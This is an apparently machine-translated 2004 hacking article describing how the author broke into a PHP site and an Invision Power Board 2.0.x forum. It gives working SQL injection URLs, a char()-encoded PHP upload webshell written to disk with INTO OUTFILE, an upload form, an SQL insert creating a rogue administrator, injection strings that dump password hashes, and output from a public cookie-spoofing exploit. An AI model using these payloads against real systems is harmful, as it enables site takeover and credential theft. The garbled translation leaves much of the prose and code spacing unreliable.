New discoveries of PHP + MySQL injection and export files-exploitation of ipb2 Vulnerability

Author: Angel Nature of the article: original Released on: 2004-12-06

Some time ago I wrote a study on exporting field content in MySQL injection-exporting webshell through injection (http://www.4ngel.net/article/37.htm), which is to query the data and then generate the file, now I have found that many PHP programs, such as IPB, have processed the data and inserted it into the database. Generally, the data is inserted after htmlspecialchars (), so this method is used, it won't work. Even if the webshell code is inserted into the database, the generated code is also processed. No. When I was testing a PHP website recently, I was wondering if it was a field because I couldn't see the file content during load_file, because all of them were int-type, there are also a few varchar files. I thought it was because of this reason. In fact, after entering the file system, I found that I did not have the file permission. I kept submitting URLs (NOTE: When writing articles, this website has fixed the vulnerability and is now a local demonstration ): Http: // localhost/111/show. php? Id = 1 and 1 = 2 Union select 47,104,111,109,101, char (47,119,119,119, 111,110,102,105,103, 46,112,104,112) The screen displays: /Home/www/config. php The path is correct. The file also exists. Do you have no permission? Put it down temporarily. This site has a writable directory, which is the ipb2 Forum. The/ipb2/uploads directory must be set to writable, so that attachments can be uploaded for normal use, I just want to use the data insertion and file export method, because I have read phpinfo () and magic_quotes_gpc is disabled, so there is no problem with into OUTFILE, And I tested it locally, code submitted: <? Copy ($ _ FILES [myfile] [tmp_name], $ _ FILES [myfile] [name]);?> Changed: & Lt ;? Copy (& #036; _ FILES [myfile] [tmp_name], & #036; _ FILES [myfile] [name]);? & Gt; I submitted a few more places and all of them were processed. It seems that my idea is not working. I suddenly thought that when I looked at the path, I could use the char () function to output the string, so can I directly write the upload code? <? Copy ($ _ FILES [myfile] [tmp_name], $ _ FILES [myfile] [name]);?> This conversion is like this: Char (99,111,112,121, 105,108,101, 116,109,112, 95,110, 97,109,101, 77,121, 70,105,108,101, 109,101, 62) Submit now: Http: // localhost/111/show. php? Id = 1 and 1 = 2 Union select 99,111,112,121, char (60, 63, 105,108,101, 116,109,112, 95,110, 97,109,101, 77,121, 70,105,108,101, 109,101, 62) The screen does not show what we want. I checked the source code and found that <? Copy ($ _ FILES [myfile] [tmp_name], $ _ FILES [myfile] [name]);?> This code is honestly inside, The reason why I cannot see it is because the browser parses the content between "<" and ">" as HTML code. This is feasible! This advantage is better than inserting data and exporting files: You do not need to insert data, so you do not need to consider the data type and length, and are not afraid of processing. You only need to know a data table to use into OUTFILE. You do not need to know fields. Because I have guessed a user table before, and I don't need to know the field. Some fields are used as the query condition only to prevent the database from being large and it is very slow to export all the data, I will submit it now: Http: // localhost/111/show. php? Id = 1 and 1 = 2 Union select 99,111,112,121, char (60, 63, 105,108,101, 116,109,112, 95,110, 97,109,101, 77,121, 70,105,108,101, 109,101, 62) from user into OUTFILE '/home/www/ipb2/uploads/upload. PHP '/* View now, Note: I am writing this statement using the char () function. So it is clear to use this. Since you can use single quotes, there is no need to use the char function to write something. You can do this directly: Http: // localhost/111/show. php? Id = 1 and 1 = 2 Union select 1, 1, '<% 3 fcopy (% 24_files [myfile] [tmp_name], % 24_files [myfile] [name]); % 3f> 'from user into outfile'/home/www/ipb2/uploads/upload. PHP '/* Where :? = % 3f, $ = % 24, pay attention to encoding, Dizzy ...... Why do I think this article is redundant ?? All written here. Continue! I just want to tell you that you don't need to insert data. 5555. I wrote so much about this. I found that I did not write an article for so long, and the logic became worse and I was unorganized. You will have some. Submit a form locally: <Form enctype = "multipart/form-Data" Action = "http: // nothing/upload. php" method = "Post"> <Input name = "myfile" type = "file"> <Input value = "Submit" type = "Submit"> </Form> After passing a phpspy file, the phpMyAdmin password is ready and the table prefix and other related information are immediately checked. Run the SQL statement: Insert into 'ibf _ members 'values ('20170901', 'angel', 4, '', '4ngel @ 21cn.com', 999999, '0', 0, 'admin ', 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1102228365,110 2324215, 0, '0', 0, 0, '0', '0', 0, '0', 0, 0, 0, '2a841e6789e0bcee72d86cd911b9405d ', 0 ); In this way, the administrator username of an ipb2 forum is "angel" and the password is "thepass. I haven't mentioned the ipb2 vulnerability yet. Now I want to add how to use it, because the test site uses the latest ipb2.0.2, so I will write down the test results by the way. Sorry. I entered it again through ipb2 injection. I looked at the ipb2 security bulletin: Http:/nothing/BBS/index. php? Act = Post & code = 02 & F = 2 & t = 1 & qpid = [SQL _injection] I learned that the qpid variable is not filtered. I will submit it first: Http:/nothing/BBS/index. php? Act = Post & code = 02 & F = 2 & t = 1 & qpid = 1' Return Value: MySQL query error: select P. *, T. forum_id from ibf_posts P left join ibf_topics t on (T. tid = P. topic_id) Where PID in (1 & #39 ;) MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL Server version for the right syntax to use near ''at Line 2 MySQL error code: Date: Monday 06th of December 2004 09:14:34 Have you seen it? All the SQL statements executed are returned. It can be seen from this that '(single quotes) has been filtered and converted into a 10th hexadecimal notation and changed to & #39. Therefore, there is no way to export the file using into OUTFILE. If a valid statement is constructed, only sensitive information can be obtained. MySQL query error: select P. *, T. forum_id from ibf_posts P left join ibf_topics t on (T. tid = P. topic_id) Where PID in (1 & #39 ;) After the SQL statement is displayed. I try to construct a statement and use Union to perform a joint query to obtain the content of any database, any data table, and any field. Submit: Http: // localhost/ipb2/index. php? Act = Post & code = 02 & F = 2 & t = 1 & qpid = 1) % 20and % 201 = 2% 20 Union % 20 select %, 2, 9,10, name, 12,13, 14,15, 16,17, 18,19, 1% 20 from % 20ibf_members % 20 where % 20id = 1% 20 /* You can see the user name with the user ID 1. Http: // localhost/ipb2/index. php? Act = Post & code = 02 & F = 2 & t = 1 & qpid = 1) % 20and % 201 = 2% 20 Union % 20 select %, 2, 9,10, member_login_key, 12,13, 14,15, 16,17, 1%, 1% 20 from % 20ibf_members % 20 where % 20id = 20 /* The MD5 hash of the password with the user ID 1 is displayed. If the Forum is too large. The administrator ID cannot be found. You can directly use "where mgroup = 4" as the query condition. I am not talking about how to construct it. If you do not understand the structure, you can go to http // www.4ngel.net to see relevant articles. With this sensitive data, you can directly cheat the cookie. IPB2.0.0-2.0.2 cookie spoofing vulnerability details can be seen in Green League (http://www.nsfocus.net/index.php? Act = sec_bug & Do = view & bug_id = 7181 ). The exploit (http://www.rst.void.ru/download/r57ipb.txt) of ipb2 released by rush security team requires a lot of parameters, and even know Sid, as follows: # R57ipb. pl 127.0.0.1/ipb202/2 1 3edb1eaeea640d297ee3b1f78b5679b3 IBF _ # Renewal ##------------------------------------------------------------------------------------------------ # [>] Server: 127.0.0.1 # [>] Dir:/ipb202/ # [>] Forum: 2 # [>] Topic: 1 # [>] Sid: 3edb1eaeea640d297ee3b1f78b5679b3 # [>] Prefix: IBF _ # [>] ID: If it is used successfully, it will return, # [Report] ---------------------------------------------------------------------------------- # Member_id: [1] Name: [Angel] pass_hash: [2a841e6789e0bcee72d86cd911b9405d] # Renewal ##-------------------------------------------------------------------------------------------- # Now you need edit cookie and insert new pass_hash and member_id values. ##~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~ And they are determined by Concat (ID, char (58), name, char (58), member_login_key. Naturally, it is not as natural as we directly return. However, the tool can only do this. If it is manual, we only need to know the structure. That's all. Tools are only weapons, and technology is the soul. Chairman Mao said: Do it yourself, and you will be able to improve yourself.